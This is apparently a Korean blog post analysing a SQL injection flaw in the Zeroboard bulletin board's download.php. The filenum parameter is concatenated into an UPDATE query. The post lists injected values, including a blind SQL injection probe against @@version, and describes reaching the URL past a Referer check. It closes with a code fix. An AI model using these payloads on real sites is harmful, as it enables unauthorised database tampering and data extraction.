본문으로 바로가기
반응형

http://localhost/bbs/view.php?id=notice&no=5
http://localhost/bbs/download.php?id=notice&page=1&sn1=&divpage=1&sn=off&ss=on&sc=on&select_arrange=headnum&desc=asc&no=5&filenum=1

if(!eregi($HTTP_HOST,$HTTP_REFERER)) die();
=> URL 직접접근은 차단됨

update zetyx_board_notice set download1=download1+1 where no='5'

http://localhost/bbs/download.php?id=notice&page=1&sn1=&divpage=1&sn=off&ss=on&sc=on
     &select_arrange=headnum&desc=asc&no=5&filenum=1=100/*


update zetyx_board_notice set download1=100/*=download1=100/*+1 where no='5'\

=100/* 문장외에 where 구문등을 사용하여 Blind SQL Injection에 사용될 수 있다.
=100 where 1=1 /*
=100 where 1=2 /*
=100 where 1=1 AND+200> length(@@version); /*


*** 테스트 방법
1) 글내용에 download URL 문장을 넣고 접근
http://localhost/bbs/download.php?id=notice&page=1&sn1=&divpage=1&sn=off&ss=on&sc=on
     &select_arrange=headnum&desc=asc&no=5&filenum=1=100/*


2) Paros Proxy 사용하여 조작


*** 수정방안


mysql_query("update $t_board"."_$id set download".$filenum."=download".$filenum."+1 where no='$no'");


위 문장을 아래로 수정


if ($filenum==1)
   {
    mysql_query("update `$t_board"."_$id` set download1=download1+1 where no='$no'");
   }
    else
   {
    mysql_query("update `$t_board"."_$id` set download2=download2+1 where no='$no'");
   }


 

반응형